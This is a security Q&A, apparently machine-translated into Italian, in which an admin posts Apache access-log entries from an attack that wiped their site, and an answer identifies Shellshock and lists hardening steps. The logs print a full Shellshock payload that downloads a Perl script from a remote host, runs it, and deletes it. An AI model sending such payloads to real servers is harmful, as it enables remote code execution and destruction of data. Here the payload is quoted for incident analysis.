Devi fare apache sicuro mentre usi lo script cgi nel browser

0

Il mio server Apache ha il modulo cgi abilitato perché abbiamo bisogno di eseguire script cgi nel browser. Abbiamo abilitato il modulo suExec di apache che permette di eseguire script cgi come un utente particolare, nel nostro caso quell'utente è ubuntu e in co-incidenza è anche un utente sudo ma non usiamo alcun comando sudo nei nostri script cgi né abbiamo manipolato sudoers file per questo scopo. È un file predefinito dall'inizio.

Gli script cgi che usiamo sono nella directory / usr / lib / cgi-bin il cui proprietario è ubuntu. La directory htdocs è / var / www / html dove sono posizionati tutti i progetti web. Il proprietario di questa directory è anche ubuntu perché i nostri script cgi creano e aggiornano i file in queste directory di progetto e se il proprietario delle directory di progetto non è ubuntu, non possiamo scrivere in queste directory usando gli script cgi.

Questo è lo scenario che stavamo usando da tanto tempo senza affrontare alcun problema fino alla scorsa settimana. Un attacco è entrato in luce calante quando un utente malintenzionato ha rimosso i progetti Web di / var / www / html utilizzando uno script cgi.

Ho ottenuto questa voce nel registro di accesso.

    [02/Mar/2017:03:36:20 +0530] "GET /cgi-bin/test.cgi HTTP/1.1" 200 12786 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

Ho questo file perl (perlscript.tgz), ha 988 linee, non sono sicuro di quello che fa ma sono abbastanza sicuro, ha fatto il danno perché gli URL di progetto nel file di log non erano 404 prima di questa voce e dopo questo, tutti gli URL di progetto erano 404.

Questa non era l'unica voce. Prima di questo, l'attaccante ha provato con più tentativi falliti. Ecco il registro dei tentativi non riusciti.

 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/script.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-bin.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-cgi.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

Questi sono stati tutti tentativi infruttuosi, quasi centinaia ma tutti erano 404. Il tentativo riuscito è tornato con 200 status e ha distrutto tutto.

Puoi spiegare in che modo l'autore dell'attacco ha raggiunto le directory del progetto e le ha rimosse, e cosa ancora più importante, cosa dovrei fare ora per rendere il mio sistema robusto contro questi attacchi in futuro?

    
posta Derek 05.03.2017 - 14:23
fonte

1 risposta

3

we need to execute cgi scripts in browser.

Erm, no. Gli script CGI vengono eseguiti sul server.

In our case that user

Stai utilizzando suexec per la separazione dei privilegi per un singolo utente? È davvero ... insolito?

In our case that user is ubuntu

Erk! E presumibilmente questa è una scatola di Ubuntu. Immagino che tu debba davvero avere una molto buona ragione per farlo.

The owner of [the document root] directory is also ubuntu

Oh caro. Non penso che tu abbia riflettuto molto bene su questo.

if owner of project directories is not ubuntu then we can not write into these directories using cgi scripts.

Potresti voler passare un po 'di tempo a leggere l'eccellente documentazione. Puoi scrivere su queste directory con altri utenti (o farle diventare di proprietà di altri utenti e accessibili a letture (o letture) dal tuo utente cgi-bin.

Come dice Steffen, probabilmente hanno usato Shellshock, ma una volta entrati hanno avuto la corsa del tuo server. È possibile applicare una patch al vuln shellshock. ma quello che hai descritto qui è un catalogo di cattivo design. Se questo attacco fosse qualcosa di più del più banale dei robot, allora gli attaccanti avranno già installato altre backdoor.

Trasformare ciò che hai descritto qui in qualcosa di sicuro richiederà più di un paio di post e risposte sui siti di overflow dello stack.

Come minimo assoluto:

  • Elimina il tuo server dall'orbita bassa
  • Ricostruisci da un backup che precede l'attacco (non connettersi a Internet)
  • Modifica il tuo server e trova un modo per tenerlo aggiornato
  • Installa un IDS basato sull'host e scopri come usarlo
  • Separa il canale di controllo per il tuo contenuto ed eseguilo in un captive portal
  • Usa un uid diverso da ubuntu per eseguire i tuoi script cgi
  • Assicurati che questo utente abbia solo accesso in scrittura dove è assolutamente necessario per fare il suo lavoro
  • Scopri come configurare i permessi unix, suexec e umask poi trovare un modello di autorizzazioni migliore
  • Per preferenza, esegui il server web in una sandbox di apparmor
  • Applica il modello prima di ricollegarlo a Internet
risposta data 05.03.2017 - 23:55
fonte

Leggi altre domande sui tag